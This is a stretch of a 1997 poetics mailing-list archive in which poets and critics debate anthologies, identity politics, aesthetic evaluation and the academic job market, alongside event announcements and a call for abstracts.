At 6:30 AM -0500 3/13/97, Susan Wheeler wrote:
>Thank you, Chris.
>
>>I've been watching with much interest (and dare I, at the risk of seeming an
>>irresponsible aesthete, say "with much pleasure) the recent "deeply
>>disturbed" thread and am excited by the possibility of something like a
>
>etc.
>Susan Wheeler
>[redacted]
>
>37 Washington Square West #10A
>New York, New York 10011
>[redacted] phone/fax

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317. Jordan Davis
More shilly-shallying battle cries
Thu 13 Mar 1997

Just would like to agree completely with Jonathan Levin (and Joseph Lease and David Kellogg and Lisa Jarnot, I think) that the intersection of the 'job market' with 'identity politics' is the center of this particular death star. There is no sound fiscal reason the humanities departments of universities need constrict --

follow the money. Locate the bonuses. Get better at fighting. Are we politically involved yet? Are we talking about an invented need, like office supplies? Lose the administration! Lose the professional development seminars! There is no sound long-term reason that we should accept the short term gains of ... to lose weight Elvis would have a coma induced? Hang the cost-cutters from the rotunda! Before the opening of Depression II! And put your socks in a bad poet's mouth -- Chakras on stun. Jordan (disguised as Henry)

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318. **Keith Tuma**
Re: Perloff/Kellogg, et al.
Thu 13 Mar 1997

"The tradition is more than you can read. It's an entire climate. It has to be total, I mean you can't preclude any department or tendency for any reason. It's the total of what as a poet you belong to and can learn from and contribute to. Some poet might be there because of one line. You can learn from anybody. Poetry's volatile,it can escape through the people who write it. This is very unacademic of me but I believe it. The academics, as I know them, which is the Cambridge tradition, insist on a fewness. It is very, very important to them that in any stretch of literary history there be a few, and their job, the critic's job, is to nominate that few. It's surprising how that attitude permeates to the most outlandish outposts of candle-power and Tinkerbell poetry, but it does. It's very academic. From a creative point of view it's much more important that there be many. It's more important to search, quite assiduously if need be, for the good in someone's work than to recognise the dangers in it, because there are dangers in everybody's work, for others. If you stand up in public like Leavis and insist on your selected few, your discriminations, you just end up a cultural curiosity because your few can only be a temporary historical partiality, an item of enforced waste, and all you've done is try to prevent a large number of writers from being read."

--Peter Riley, _Reality Studios_ 8 (1986), 15.

"I just want to say that I think it's really important to love all kinds of poetry and to realize that for the whole history of the planet there have been all these different kinds of poetry. . . ."

--Bernadette Mayer, _lingo_ (1993), 141.

"Very curious, Hortense, how things keep coming around on your list. What's life like beyond memory, Harry? Who was in the last final four?"

--Keith Tuma, this morning, he thinks, while wondering why nobody picked up on marjorie's point about the parochialism of many uspoetry anthologies and

still believing in the importance of evaluation albeit in re-invented critical idioms

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319. **Mark Prejsnar**
Re: "deeply disturbed"
Thu 13 Mar 1997

Well put. I couldn't agree more.

mark p.

On Wed, 12 Mar 1997, Joseph Lease wrote:

> *reply to Mark: yeah of course I like the Hoover and Rothenberg anthologies and Messerli's recent big one all very much: my point is that every time we have to make the old Norton mean what it used to mean (my guess is it never meant that: I mean not in the contexts that inform this one most directly) we give it a big boost: we need to touch just teach our children that anthologies are human institutions like a clubhouse in a tree (or like a Joseph Cornell box in the case of Rothenberg especially)*

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320. **amato**
Re: "deeply disturbed"
Thu 13 Mar 1997

---

well i've just had the questionable pleasure of wading through sixty posts, most of them from poetics, the order of which was completely scrambled thanx to my system shutting down unexpectedly, and burping them forth in no particular order... so i'll try to respond to various posts, apologies if somebody posted remarks addressed primarily to me and i missed 'em (please just backchannel):

fiona: i think my sarcasm was just too thick for my own good... i was trying to suggest that i generally have some young white guys in my classes who submit work to me that often seems intended to shake up the establishment, when in fact it doesn't do a heck of a lot more than, say, the beats managed---four decades ago... to your observation as to "see[ing] anew in all senses," i'd like simply to say YES... at least, my own reshuffling is geared toward that (whether i succeed or no is another story)... and YES too to wendy battin's remark about loving poetry... and yes too to chris s.'s appropriately parenthetical-ed (?) longish post plumbing the possibilities of talking about radical "content" as well as "form"... long long overdue in these parts, from my pov... i am esp. interested mself in work that broaches the various "literature"-"science" interfaces...

david k: thanx for your note... i know you know (that i know that you know etc) what the job scene is about these days... as academix, we're probably all too wound up on that score to be much good at remaining sangfroid... but at the same time, i sometimes wish that, as academics, we'd get MORE wound up... the job scene is creating some awfully complicated political and economic realities for many of us, and it's difficult as academics to shake the sense that what we do within the educational system as a result has everything to do with how we come to poetry... of course it has something to do with how we come to poetry... i suspect (read "know") non-academics will in general find that we play our institutional card too often, but it has to do with the fact that our institution (-al situation) has become SO visible in the last decade... i would only ask that those who are NOT academics (self-defined, if you like) take account of how their workaday world figures into their writing (an old topic)... perhaps it would behoove us academics, poets and critics, to imagine what effect shifting careers might have on our writing, on our sense of commitment and audience?... i mean, imagine if you didn't teach, and if you didn't have to worry about tenure---how would this affect your writing?... and i'd ask non-academics whether they might feel differently about their writing if they were in a position to teach writing/literature every other day... this is perhaps a bit empathically facile, but i've found such internal rumination to be quite revealing, in my moments of solitude...

and most recently to keith: your final lines... i believe, as do you, that the question of evaluation is not going to go away, not only cultural but aesthetic evaluation (which in fact i take to be your point, and marjorie's point)... for those who posted in about "taste," i would observe only that (like "craft") this denotes something very particular (depending on context, perhaps, but then---*here*---this one)... i'd rather too that we find new idioms, if you like, in which to discuss our "tastes" (and "craftS")... and it strikes me as revealing that not only should the political be regarded in somewhat kneejerk terms hereabouts (to gloss maria) but that questions pertaining to aesthetics (both content and form) are ALSO regarded in somewhat kneejerk terms in other, academic contexts... as somebody who writes both poetry and criticism (i really DO have some more conventional stuff 'out there') i've often had a HELLuva time discussing my motivations as a writer with folks who write primarily critical stuff for academic audiences... not to 'erect' any barriers here, but just to make sure to indicate that the boundaries cut in multiple directions...

and apologies for denoting all non-academics with the negative, my brain is full at the moment...

best,

joe

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321. Matt Kirschenbaum
Re: "deeply disturbed"
Thu 13 Mar 1997

> *It seems our most urgent professional responsibility, those of us who teach in college programs, is to resist the adjunctification of the profession. Let course enrollments grow, let students complain? Enlist the MLA's power of publicity?*

MLA members will soon have an opportunity to vote on a resolution initiated by the MLA's Graduate Student Caucus and passed almost unanimously by the Delegate Assembly at the recent convention; it's language charges MLA in part to, "take the lead in working with other disciplinary and higher-education groups in encouraging legislative and policy bodies at the national or state level to adopt and fund initiatives which would provide for labor equity in graduate-employee and adjunct work, and provide incentives for higher-education institutions to begin reductions in their reliance upon such labor."

--Matt

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center

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322. William Burmeister Prod
Re: "deeply disturbed"
Thu 13 Mar 1997

I wrote:

In the stict sense of the
>word yes! Am I a racist or sexist? No. It probably has more to do with what I
>find engaging, interesting, mind-blowing, etc.

Dan wrote:

> *Or with the way you read? And are taught to read?*

Yes. An essential consideration. How we develop as a reader over time. What directions we take. Or our we being carried along. Since I generally learn by way of the discovery principle, I tend to locate what I read and buy through exhaustive searching. But more and more, I am reading through references from others, or their writing. If I start as a surrealist, I may find myself later on in language and experimental poetry (because I tend toward the subversive

perhaps). This would preclude, for example, an interest in a poetry "selected to represent cultural diversity, a poetry that accepts the model of representation assumed by the dominant culture in the first place." Because, as Charles Bernstein writes, "what can be decried as parochial patterns of reading is in fact an essential strategy for survival, to have a deep immersion in a contemporaneity and history that are difficult to locate and need to be championed."

> And to write off the rest of the world by
'ethnicity' ooops except Baraka (who is okay) is REDUCTIVE in the extreme

Right on! So is the official verse culture sanctioning, essentializing, and tokenizing of signature styles of cultural difference.

Best,

Bill Burmeister

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323. **Mark Prejsnar**
Re: "deeply disturbed"
Thu 13 Mar 1997

Thomas and William et al.:

The bringing up of taste does indeed get at some of the (often unstated or understated) issues that hang around just under the surface on this list...As is my wont, I'm probably about to oversimplify dreadfully, but there are two strong urges in the nonmainstream universe. One is inclusive and recognizes the legitimacy of many different poetries and the preferences for them; the other (often articulated by LangPo theory in its early, heroic days) is less tolerant, and strongly critiques much of the established award/workshop/grant scene for the artistic/ideological bankruptcy of the poetry it produces and rewards...The latter often is associated with theories (Brechtian in lineage) that see more innovative writing as a form of political struggle, in which the reader is active rather than passive and disempowered (or as Perelman somewhat confusingly puts it, the reader is abolished, by which he means readers become active members of a culture/community, become poets, the poet and reader meld into one). In fact the passages from WCW that Thomas quotes (great passages!) read like early formulations of this second, more militant point of view--one which is rather firm about making negative judgments and doesn't foreground taste and preference.

Mark Prejsnar
atlanta

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324. **Marjorie Perloff**
Re: "deeply disturbed"
Thu 13 Mar 1997

Dear David (and List):

I've been in Las Vegas lecturing at UNLV where Ming-Qian Ma is now teaching and touring the casinos so my head is still spinning a bit--but let me try to answer your questions:

On Tue, 11 Mar 1997, David Kellogg wrote:

> *Dear Marjorie (and others who may be listening),*
>
> *If I'm your antagonist, I am indeed a friendly one. I neither intended to nor in fact did imply that you were a racist. I'm happy to read what you wrote, however, though I'd enourage the same from you ;-). I think we can start to talk to (rather than past) each other.*
>
> *So let's focus on the particulars you quote from your article:*
>
> *What I say, for the record, is that, whereas in 1959 Don Allen could put together an anthology of "the" new American poetry, an anthology that pretty accurately pitted the counterculture against the establishment, in the 1990s, there can no longer be ONE counterculture anthology and so attempts to produce one that is "the" avant-garde can't wholly succeed.*
>
> *OK fine. Here I'm totally in agreement with you (and think the major thrust of your argument quite on target).*
>
> *And I write:*
> *"More important: the eightiies witnessed the coming of the minority communites. . . In their inception, many of these poetries were, ironically, quite conservative so far as form, rhetoric, and the ontology of the poem were concerned. But counterculture poets and critics couldn't--and still can't--say this out loud because they would have immediately been labeled racist or sexist. And thus the picture has become increasingly clouded. " and then I go on to complain about the absence of all but U.S. poets in most of the new anthologies.*
>
> *First: "the eighties witnessed the coming of the minority communities." I honestly don't know what this means; I can't hold it in my head, it just drains out between my skullplates. Are you saying that there weren't minority communities before the eighties? Or just that there weren't minority POETRY communites? Or that these communities hadn't "come" (to maturity, to coalescence, etc.)? None of these interpretations seem to me satisfying, because none of the assertions that result are, so far as I*

> *can tell, true. I'm not trying to bait you, honestly; I simply can't see what that sort of generalizaion means, nor what its point is.*

Minority communities in the 80s: I didn't think this needed spelling out. I am referring to simple fact here: namely, check out any anthology or critical study of "contemporary poetry" prior to that time and you'll see that the issue of minority poets is simply ignored. (read, for example, Altieri, J. Breslin, P. Breslin, von Hallberg--you name it). The anthologies may have included, say, Baraka and one or two other black poets but the notion of "Chicano poetics" or "Asian-American poetics" did not yet exist. This isn't a value judgement, just a fact.
> Second: "In their inception, many of these [minority community] poetries
> were, ironically, quite conservative so far as form, rhetoric, and the
> ontology of the poem were concerned. But counterculture poets and critics
> couldn't -- and still can't -- say that out loud because they would have
> immediately been labeled racist or sexist." Agreements: that many of
> these poetries were conservative in the ways you mention. Disagreements:
> 1) that this formal conservatism is ironic in any sense whatsoever; and 2)
> that you can't say these poetries are conservative (etc.) without being
> labeled racist or sexist. I certainly labelled you neither, neither on
> this list nor in my article.

I didn't say the "formal conservatism" was ironic--I said it is ironic that one kind of oppositionality (early exemplars of minority poetics) were conservative formally. This, incidentally, is now a hot and interesting debate. In the new ALH, James Longenbach slaps me and others on the wrist for assuming that, in the case of Ashbery, his subject, formal innovation and semantic innovation go hand in hand. He says this in making the case against THE TENNIS COURT OATH I totally disagree. For me, form and "content" cannot be separated; it's the point Charles Bernstein makes so beautifully in "Artifice of Absorption." There is no "subject matter" outside form. I've therefore always objected to Adrienne Rich's supposedly radical stance which is presented to us in the received lyric modes--to be that's a contradiction in terms. Therefore--and this is all I meant--the job of putting together an "avant-garde" anthology in the 90s is very different from putting one together in 1960. Don Allen could just choose those poets that satisfied what he took to be the New American Poetry. Today, the anthologist does not have that freedom because --witness what John Yau did to Eliot Weinberger--s/he is under pressure to include X number of poets from this or that grouping. I am optimistic enough to think this phenomenon will pass as there are increasing numbers of, say, Mexican-American poets to choose from. But at the moment it's tricky and so inclusions are often somewhat cynical. So--as I said in the article--the picture is clouded and no anthologist can quite proceed freely as Don Allen could.

> *Now David perfectly proves my point by implying I'm somehow making a racist statement.*
>
> *You are reading into (as opposed to "not reading") what I wrote. What I wrote was that the pluralism of your approach is in tension with the exclusivity of your actual critical practice. This seems to me a perfectly reasonable critique to make. Sure I find this disturbing; but not because I think you're a racist (I don't) -- rather, because of the slippage that comes into play in passages like the one that follows:*

The "exclusivity of my actual critical practice"--I don't know what this means. I admire particular poets and those are the ones I write about--yes. If that's "exclusivity" --I plead guilty. I try, on the other hand, to include non U.S. poets so in that sense I believe I'm much more "inclusive" than others. There's only so much time.
> > What I meant, of course, is that the mainstream
> > anthologies today like the Norton will include a lot of, say Rita Dove,
> > because she's a black woman when the Norton doesn't even include Zukofsky,
> > Reznikoff etc. not to mention Harryette Mullen, Erica Hunt, Will
> > Alexander, or Charles Bernstein, Susan Howe, Lyn Hejinian--well, the list
> > goes on and on, right? This is where identity politics does indeed cloud
> > the picture because if you object to these inclusions or exclusions you
> > are immediately branded.
>
> "Inclusions or exclusions." This is not a symmetrical complaint. The
> complaint about exclusions is well taken, and I'm wholly on your side in
> that struggle. The complaint about inclusions is where I think your
> pluralistic stance conflicts with your practice. Mullen, Hunt, et al.
> are not excluded because Rita Dove is included. (Nor do I think it fair
> to say that the Norton includes "a lot of . . . Dove, because she's a black
> woman," barring evidence to support that assertion.) Giving Dove less
> space will do not one damn bit of good in making more space for Zukofsky,
> Howe, or Bernstein.

I disagree with the last sentence above. I believe it's Charles B who noticed that the Norton, so far as poets born after 1950 goes, includes not a single white man. Our Quals list at Stanford is similar. The list, made up by a faculty committee includes Leslie Marmon Silko Sandra Cisneros but not Charles Olson or John Ashbery or Louis Zukofsky If this isn't identity politics, what is it? You will note, if you study reading lists around the country that this is the case. The post World War II period has been turned into a kind of grievance list.
> >

What I'm trying to say, badly probably, because email is not the easiest
> > writing venue, is that, yes, I am opposed to identity politics in its
> > crude form and no, that doesn't make me a racist, and if we want to be
> > political, let's be political and try to do something about what is
> > happening in Washington.
>
> 1) identity politics: I do am opposed to "its crude form," but I think
> such opposition must not be crude either;
>
> 2) that doesn't make you a racist. Agreed (never thought otherwise);
>
> 3) politics: it's all over the place, both in Washington and in the poetry
> community etc. But I'd append also: If we want to do something about
> excluded poetry, let's not act as though the currently included poets are
> the problem. If we want diversity, let's have diversity, and not some
> revised Norton.
>
The very fact that we have to talk about""" included" and "excluded"
poetry is the problem. Which is all I originally said and which you found
"deeply disturbing." And the Norton is not to be so easily dismissed,
given that 9/10 of Intro. poetry courses use it. The newest edition is
virtually worthless so far as I'm concerned. But the compilers get away
with it in the name of a spurious radicalism ("Look! 23 people of color,
etc. etc.). What this cynical move on the part of the publishing industry
is doing does deserve comment, doesn't it. Or--to take a second
example--look at Adrienne Rich's recent BEST AMERICAN POEMS of 1996.
She
has poems in their by highschool girls "of color" that are not even
competent--all in the name of some putative "diversity."
> I don't really have any response to your comments on Dorn,
because
> (except for one moment at its inception) I did not really participate in
> that thread.
>
> I hope this is helpful in clarifying our disagreements.

> *Cheers,*
> *David*

Cheers in return,
Marjorie

> ~~~

David Kellogg *Duke University*
[redacted] *University Writing Program*
[redacted] *Durham, NC 27708*
FAX [redacted] *http://www.duke.edu/~kellogg/*

> *There is no mantle*
> *and it does not descend.*
>
> *-- Thomas Kinsella*

↑ Index

325. **Mark Prejsnar**
Re: TINFISH (fwrd from Susan Schultz)
Thu 13 Mar 1997

By the by, since we are addressing identity politics/left politics/non-mainstream writing; on the basis of the one issue I've see, TinFish and Susan should be applauded for a very creative start at precisely the rapprochement people have been (very articulately) arguing for... Awareness of regional/ethnic/political/formal lines, and how they cut across each other... This magazine is to be VERY strongly recommended to anyone who hasn't already seen it, and is a good reference point for the current politics/form discussion here.

Mark Prejsnar
atlanta

↑ Index

326. **Jordan Davis**
Re: "depply disturbed" II
Thu 13 Mar 1997

hapier tpho tody:

> *to be that's a contradiction*
> *in terms.*

↑ Index

327. **William Burmeister Prod**
Re: "deeply disturbed"
Thu 13 Mar 1997

Mark writes:

> *The bringing up of taste does indeed get at some of the (often unstated or understated) issues that hang around just under the surface on this list...*

and

> *In fact the passages from WCW that Thomas quotes (great passages!) read like early formulations of this second, more militant point of view--one which is rather firm about making negative judgments and doesn't foreground taste and preference.*

and Joe writes:

> *for those who posted in about "taste," i would observe only that (like "craft") this denotes something very particular (depending on context, perhaps, but then---*here*---this one)... i'd rather too that we find new idioms, if you like, in which to discuss our "tastes" (and "craftS")*

Accurately said. I used the words "taste" and "preference" for lack of a better idiom with which to discuss my own preferences. The more I think of the word in this context, the more it seems vague or nondescript, a cop-out, or biased. I too "prefer" that we locate a new idiom for our tastes. Wendy used "love" which, if I understand her correcetly, suits me far better (I'm going to run out of synonyms soon).

Best,

Bill Burmeister

↑ Index

328. **sschu30844**

Re: More shilly-shallying battle cries

Thu 13 Mar 1997

I've read a couple of messages now in which "identity politics" and "job market" have been spoken in the same pixellated breath, but where the actual discussion seems to be about the increasing use of adjuncts and so on. I'd like to hear someone develop the argument about the relationship between identity politics and jobs, though I promise to be skeptical. Identity politics has been around a lot longer than the inclusion of some conservative ethnic (in its labored sense as "non-white") voices in the Norton. And job woes have been around a lot longer than multiculturalism. I'm not in any way defending the job market/process as it's now practiced, but I don't want to see the problems with it racialized--which is not what anyone's meaning to do, I know, but the language slippeth a bit.

Susan

↑ Index

329. **sschu30844**
Re: TINFISH (fwrd from Susan Schultz)
Thu 13 Mar 1997

Thanks much, Mark, for your kind plug.

Susan

↑ Index

330. **Joseph Lease**
Re: "deeply disturbed"
Thu 13 Mar 1997

---

very old fashioned words like love (as in Wendy Battin's usage), tone, style, form, taste

can often be extremely useful in the storm created by radical aesthetics meets radical politics: a monster movie edited by Jameson

↑ Index

331. **Jordan Davis**
Re: More shilly-shallying battle cries
Thu 13 Mar 1997

Susan -- What I was Oblekly suggesting was that the discussion has been mis-cast in precisely this way -- as to allow the Other Professor to be scapegoated when it is clearly the Administration or better the Foundation which ought to be hogtied. Viz Steve Martin, _Cruel Shoes_. -- Jorban

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332. **amato**
Re: "deeply disturbed"
Thu 13 Mar 1997

---

marjorie, surely in conceptual terms, "form" and "content" are not susceptible to any easy division... but the fact that there are reading communities who insist on seeing these as (at least somewhat) separate, whether one agrees or no that this behooves poetic practice in toto, is itself at issue... i mean, we can argue (as i have mself) that seeing form and content as dissociable permits for a sort of incursion of the technological (there are those in cogsci circles who speak now, formal-ly, of the mind as a technology)... perhaps this is broadly sociocultural, effect-wise...

but in the immediacy often attendant to more political aims---and i would agree with you that poets need not be shy about same---it seems to me that there may

be positive cultural work to be had BY maintaining this distinction... for instance, there is work both by w. d. ehrhart and horace coleman that is, on the one hand, not all that formally innovative, but on the other, speaks directly to the experience of vietnam vets... with all that "speaks directly to" implies, both in a positive as well as a negative sense... it's here that, say, *my* tendency to regard such writing in terms of its cultural work may be viewed---by, say, other readers of these poets---as a kind of aesthetic condescension... that is, i've converted issues of "taste" (note those quotes, puh-leez) into issues of reception...

worth noting too that the political aims of dominant groups often go unchallenged in such terms, simply b/c "identity" as such operates as a tacit given...

i trust i'm being clear here... i guess i'm trying to pinpoint and flesh out what i see as the controversy in your comments---i surely don't mean to intervene for david, even to mediate (though i've got this thing about watching folks argue---)... i think one of the reasons much of *your* writing appeals to us poets is b/c you bring to the writing a real sensitivity as to formal considerations (which is not to suggest in any way that you don't understand the stakes implicit in "identity politics")... and the tendency of many academics to overlook such considerations---and the evaluations that accompany them---is part of why i often have such a problem talking with colleagues about my more writer-ly motivations...

best,

joe

↑ Index

333. **Joseph Lease**
Re: "deeply disturbed"
Thu 13 Mar 1997

---

when I talk about the usefulness of old fashioned words I am of course assuming that their meanings are context-dependent: for example, there are lots of poetry worlds in which poets who I think are great poets are considered to be bad in the sense of incompetent: so when I use terms of value I mean them with the activist awareness that their meanings are context dependent:

therefore, it seems to me, that poets who love the avant-garde tradition (on the next jenny jones)

are obligated (in order to be intellectually consistent) to at least respect what different lefts define (determine, as in self determination) to be terms of aesthetic excellence

(this in relation to Marjorie Perloff's evalaution of Rich's (granted deeply problematic) anthology)

respectfully and tremblingly,

↑ Index

334. **amato**
Re: poetry that sells? -Reply
Thu 13 Mar 1997

---

michael coffey, question: that piece on poetry publications comes off as so HAPPY!...

but like, what about the small press distribution problems we've been witnessing in the last decade (at least)?... why is there no mention made of same?...

not holding you "accountable" or some such, just wondering why there's so much attention to publishers --- which is great --- and evidently (as i read the piece) so little attention to how books get distributed --- which is not so great...

best,

joe

↑ Index

335. **Joseph Lease**
Re: poetry that sells? -Reply
Thu 13 Mar 1997

---

agreed: the bookstore situation is horrible horrible horrible: PW isn't responsible for that but PW could address it in the interest of supporting innovative work

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336. **Robert Archambeau**
A branch off the "Disturbed" thread
Thu 13 Mar 1997

Joe Amato wrote:

. i'd rather too that
we find new idioms, if you like, in which to discuss our "tastes"

This theme is what most interests me most in the ongoing
Perloff-Kellog-"disturbed" threads:

How can we find a way to speak that will allow us to say that Bob Perelman produces excellent work in his idiom (as I believe he does), and that Seamus Heaney produces excellent work in his idiom (as I believe he does)? Okay, there are probably not that many people on this list who admire the work of both poets (that David Antim dictum along the lines of "if what he does is poetry, what I do isn't" seems more prevalent), but _I_ admire both, and I find myself having a hard time articulating a critical language that can find a place for both poets. Boland's call for "a language of respect" between poetries intrigues me, because it admits of the possiblity for a kind of ecumenism that I long for.

Yes, the forms used by a poet like Heaney have political/ontological corollaries about, for example, the nature of the self which I don't subscibe to -- but I refuse to make this grounds for a categorical dismissal of his work -- he does what he does with excellence, and I can understand my own (Perelman-esque) views about the self better by looking to Heaney's work and seeing a fine articulation of something quite "other" to my own convictions. I am suspicious of any attempts to dismiss whole genres of work as valueless, boring, or lifeless (although there are certainly poems, and even poets, that fall into these categories). I will not make an idiom my enemy. But I don't know that there is, at the moment, much by way of a vocabulary in which to articulate an appreciation for many poetries, or to explain an admiration for many poetries. Where is there a poetics of pluralism?

Shouldn't one of the tasks of this list to be to explore such a vocabulary?

Robert Archambeau

It was so long ago, I barely remember it, didn't Keith Tuma quote Bernadette Mayer:

I just want to say that I think it's really important to love all kinds of poetry and to realize that for the whole history of the planet there have been all these different kinds of poetry. . . ."

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337. Joseph Lease
Re: "deeply disturbed"
Thu 13 Mar 1997

Chris Stroffolino raises some super-good points in his post (I won't quote because I'd probably end up quoting the whole thing): rhyme is a perfect example (and Creeley's poetics and yes Lee Ann Brown) of ways in which something that once seemed old-fashioned can suddenly become (in a different interpretive context) singing and zinging with pleasure and even corrosive politics: ugliness

(as in Chicago funk art (I'm from Chicago not Harvard)), narrative, stanzaic structures, speech acts, and even (gasp!) a lyric self-in-process (term from Kristeva, I mean to distinguish from confessional unitary self) are also perfect examples of aspects of poetics for which it is never too late:

because after all it could only be too late for a given aspect of poetics if that aspect had only one fixed unitary meaning (Chakras on stun, as Jordan points out)

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338. BETH LEE SIMON
forum on deixis
Thu 13 Mar 1997

--==========_858290429==_

--==========_858290429==_

CALL FOR ABSTRACTS/PROPOSALS for a two-session forum

STUDIES IN DEIXIS: WORKING THE MARGINS OF PRAGMATICS AND SEMANTICS

for the Midwest Modern Language Association Meeting,
Chicago, November 6-8, 1997, Ramada Congress Hotel

Abstracts are being accepted for "Studies in Deixis: Working the Margins of Pragmatics and Semantics." The multidimensionality of deixis, a linguistic phenomenon at the heart of communication, remains one of the most intriguing aspects of human language. It is impossible to imagine communication that functions without deixis. Deictic elements such as pronouns, demonstrative adjectives, and spatial or temporal adverbs, express a user-centered perspective on time, place and person relationships in the social context of an utterance; simultaneously, they denote formal grammatical functions within an utterance. The aim of the forum is to bring together scholars working on different aspects of deixis--from formal linguistics to stylistics--to discuss the activity that occurs at the intersection of language and reality/structure and function. Publication of the proceedings is planned.

Abstracts/proposals should be a maximum of 150 words in length and must be received by Friday, April 4, 1997.

Send abstracts (e-mail preferred) to:

Beth Lee Simon, Dept. of English and Linguistics
IPFW, Fort Wayne, IN 46805
[redacted]
fax: [redacted]

and/or

Anna Fellegy, Department of English, 207 Lind Hall, #185,
University of Minnesota, Minneapolis MN 55455
[redacted]
--==========_858290429==_--

↑ Index

339. Robert Archambeau
Re: A branch off the "Disturbed" thread
Thu 13 Mar 1997

Dodie wrote:

Isn't it traditionally
> through dismissing "whole genres of work as valueless, boring, or lifeless"
> that many groups and individual poets have generated the energy to go on
> and do something interesting/innovative?

Granted some poets may find the dishing of poetics unlike their own to be psychologically ennabling (the ends -- good poetry -- can justify the means -- narrow polemics). But this doesn't help me, as a poet and reader who wants (foolishly?) to understand his own very catholic tastes. We have a critical language that honors LANGUAGE poetry (in fact, much LANGUAGE poetry _is_ a critical language honoring langugae poetry) and we have critical languages honoring other experimentalisms and more traditional kinds of poetry. What I wonder is this: what can the underpinings of a language of respect between poetries be?

Robert Archambeau

Maybe this would make a good sig "I will not make an idiom my enemy"

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340. Steve Carll
4 poets, 2 days (S.F., March 8-9)
Thu 13 Mar 1997

Saturday evening at New College in San Francisco there was a benefit reading for _Prosodia_ 7, the New College literary journal. Tricia Roush, one of the editors of this year's issue, started off with a reading from her work _The Books of Danger_, starting with book one, "Danger Is My Business". Some great lines included:

courage is something that keeps logic from working
I am rich and sick in the same moment

the bottom of the sea is my workshop, and I like it
I worked so hard I don't remember it
needless to say, the shark charmers are now in place
everyone was killed; it cannot be otherwise
it could have been shot over and over again, but everyone was so astonished

Kit Robinson then read a selection of stuff old and new, including a bit from _Balance Sheet_ and the lines:

it is important to do something meaningless
three peacocks strut by. They just say nothing.
it is the hour of the rampant shadow

There was more, and there were people there, but my pen ran out of ink and I didn't get much more. Let's see, who all was there? I remember Kevin Killian, Marina Lazzara, Steven Jones, Laura Moriarty, Nick Robinson, Adam DeGraff, Mary Burger, Alex Cory, Mac from Santa Cruz, Cami Bontiates, Stephanie Baker, Simon Pettet (more about him shortly), Jean Day and family, and was that Margaret Butterfield?

After the reading Adam Mary Alex and I go to David Larson's 27th birthday party in Oakland. David's cooking a turkey (there's quite a spread; since I'm a vegetarian I content myself with gnawing on the hollow white chocolate easter bunny), and there's copies of his "Modern Dewlap Special" sitting out, a collage of writing, drawing, cutting and pasting from David, Jia Ching Chen, Raymond Pettibon and Aaron Sinift.

Sunday there's the Simon Pettet/Kathy Lou Schultz reading at Canessa Park. Avery Burns introduces Kathy Lou Schultz first and she reads from a sonnet sequence, a work called _Tool It Down_, another called _Some Vague Wife_, and yet still another, "Toward Fissures Forming Plots". Her work can be quite funny, to wit:

he set out in the rain in his theory suit and came back damp
precipitation bulb and annuals
there's something about writers: they're damned hard to re-educate
very particular hell over this
lemon, late afternoon light, lawn of torso
supersensory abstinence
your leaving cleaves my (startled? starving?) heart
returning is a grand gesture emphasizing departure

Simon Pettet, in from New York, then got up somewhat nervously and read (occasionally then re-reading) some new pieces and a bunch of stuff from the _Selected_:

how fortunate to be alive for just this second
I am illegally parked in your heart
still life which is endlessly moving
the fool is the image of a life chosen
the evening jukebox sun goes down so quietly
so what do you select?

Witnesses included Adam DeGraff, Edward Berrigan, Yetta, Ed Foster (in town for his own reading this Saturday at New College with Giovanni Singleton), Bill Berkson, Spencer Selby, Mary Margaret Sloan, Jack and Adelle Foley, Brian Lucas, Kevin Killian and Thoreau Lovell.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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341. Dan Machlin
MARG.OF POETRY @ SEGUE
Thu 13 Mar 1997

DON'T MISS IT! The New York City Poetics Event of the Season.

We hope to make this an open forum after the panel speaks, so please come and voice your opinions and questions @

THE MARGINALIZATION OF POETRY, An Evening

of responses to Bob Perelman's recent book of that name from Princeton University Press,

with
Bob Perelman
Ann Lauterbach
Ron Silliman
Juliana Spahr
Steve Evans
Moderated by Sean Killian
(curated by Sean Killian & Dan Machlin)

SATURDAY, MARCH 22, 1997 @ 7:30 p.m. sharp
The Segue Performance Space, 303 East 8th Street (between A & B)
Buzz 1R
Admission $7.00 (all proceeds go to The Segue Series)
Wine and Cheese Reception will follow

Copies of The Book will be available at a special
one-time-only price of $10.00.

This event is co-sponsored by Princeton University Press.
SEGUE FOUNDATION FOR POETRY & THE ARTS
20th Anniversary (1977-1997)

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342. **Matthias Regan**
Re: "deeply disturbed"
Thu 13 Mar 1997

Marjorie Perloff writes:

> *I believe it's Charles B who*
> *noticed that the Norton, so far as poets born after 1950 goes, includes*
> *not a single white man. Our Quals list at Stanford is similar. The list,*
> *made up by a faculty committee includes Leslie Marmon Silko Sandra*
> *Cisneros but not Charles Olson or John Ashbery or Louis Zukofsky*
> *If this isn't identity politics, what is it?*

An example of the fact that the antholigists are more comfortable with accepting "minority" representation than with accepting white male radicalism. Probably radicalism by anyone: so what are they including in the defintition of radicalism then? The danger lies in then seeing the latter (revolutionary form) as being oppossed to the former (political inclusion), which as this list demonstrates it usually isn't. What if you substitute Doty for Olson, etc.? Can there be one fulcrum for this debate? I think it is frustrating but important to act as though there could be.

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

343. David Kellogg
Re: More shilly-shallying battle cries
Thu 13 Mar 1997

On Thu, 13 Mar 1997, Jordan Davis wrote:

> *Susan --*
> *What I was Oblekly suggesting was that the discussion has been miscast in precisely this way -- as to allow the Other Professor to be scapegoated when it is clearly the Administration or better the Foundation which ought to be hogtied. Viz Steve Martin, _Cruel Shoes_.*
> *-- Jorban*

That was, I thought, my point too: such scapegoating as red herring, a missed opportunity for real debate, both in the job market and in the poetry-anthology discussion. As an adjuct, I feel this issue pretty acutely.

Cheers,
David
~~~
~~~

context? e.g., a context in which specific meaning could be ascertained? or soemthing else that I'm missing?

> *therefore, it seems to me, that poets who love the avant-garde tradition (on the next jenny jones)*
>
> *are obligated (in order to be intellectually consistent) to at least respect what different lefts define (determine, as in self determination) to be terms of aesthetic excellence*

yes!

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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345. dbkk
upcoming at Small Press Traffic
Thu 13 Mar 1997

At 12:06 PM -0800 3/13/97, Steve Carll wrote:

